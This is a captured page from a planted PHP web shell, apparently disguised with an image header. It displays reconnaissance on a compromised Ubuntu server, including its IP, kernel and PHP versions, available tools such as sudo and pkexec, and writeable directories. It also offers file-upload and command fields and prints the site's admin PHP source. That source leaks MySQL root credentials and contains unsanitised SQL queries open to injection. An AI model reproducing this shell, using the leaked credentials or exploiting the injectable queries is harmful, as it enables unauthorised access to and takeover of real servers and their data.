????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 216.73.216.37
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/labs.astacus.se/bravidaq/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/labs.astacus.se/bravidaq/admin/index.php
<?php

$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("labs_web");

   if($_GET['action'] == "addcategory"){
	   $sql = "INSERT INTO bravidaq_categories VALUES(NULL,'Ny kategori');";				
	   $result = mysql_query($sql);
	 
	}else if($_GET['action'] == "deletecategory"){
	   $sql = "DELETE FROM bravidaq_categories where id = ".$_GET['id'];				
	   $result = mysql_query($sql);
	 
	}else if($_GET['action'] == "savecategories"){
	 	for($i = 0; $i < $_POST['nbr'];$i++ ){
			$id = $_POST['id'.$i];
			$cat = $_POST['kategori'.$i];
			
			$sql = "UPDATE bravidaq_categories SET category = '".$cat."' where id = $id";				
	   		$result = mysql_query($sql);
	
		}
	
	}else if($_GET['action'] == "update"){
		
		$xml = '<?xml version="1.0" encoding="UTF-8"?>
				<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
				<plist version="1.0">
				<array>';
				
	
		 $sql = "SELECT * FROM bravidaq_categories LIMIT 10";
					
		$result = mysql_query($sql);
		
		while ($row = mysql_fetch_assoc($result)){ 
		$xml .= '<dict>
				<key>Category</key>
				<string>';
				
				$xml .= $row['category'];
			$xml .= '</string>
			</dict>';
		}
			



		$xml .= '</array>
				</plist>';
		
		unlink(Categories.plist);
		$fp = fopen('Categories.plist', 'w');
		fwrite($fp, $xml);
		fclose($fp);
		
		
		}
		



	
?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1" />
<title>Admin</title>
<style type="text/css">
.rubrik {
	font-family: Verdana, Geneva, sans-serif;
}
.text {
	font-family: Verdana, Geneva, sans-serif;
}
.text {
	font-size: 12px;
}
</style>
</head>

<body>
<table width="700" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr>
    <td><h1 class="rubrik">BravidaQ - Administration av fr&aring;gor!</h1>
    <span class="rubrik">Kategorier:</span><br />
    <br />
    <form id="form1" name="form1" method="post" action="?action=savecategories">
      <?php
    $sql = "SELECT * FROM bravidaq_categories LIMIT 10";
					
		$result = mysql_query($sql);
		$X =1;
		while ($row = mysql_fetch_assoc($result)){ 
	?>
      </p>
      <table width="400" border="0" cellspacing="0" cellpadding="0">
        <tr class="text">
          <td width="147">Kategori <?php echo($X);?></td>
          <td width="253"><label for="kategori<?php echo($X);?>"></label>
            <input name="kategori<?php echo($X);?>" type="text" id="kategori<?php echo($X);?>" value="<?php echo($row['category']);?>" />
            <input name="id<?php echo($X);?>" type="hidden" value="<?php echo($row['id']);?>" />
            <a href="?action=deletecategory&amp;id=<?php echo($row['id']);?>">Ta bort</a></td>
        </tr>
      </table>
      <?php
	$X++;
    }
	?>
      <br />
      <input name="nbr" type="hidden" value="<?php echo($X);?>" />
      
      <a href="?action=addcategory"><span class="text">L&auml;gg till ytterliggare kategori</span></a><span class="text"></span>
      <input type="submit" name="button" id="button" value="Spara alla kategorier" />
    </form>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p class="rubrik"><a href="?action=update">UPPDATERA BRAVIDA Q!</a></p></td>
  </tr>
</table>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit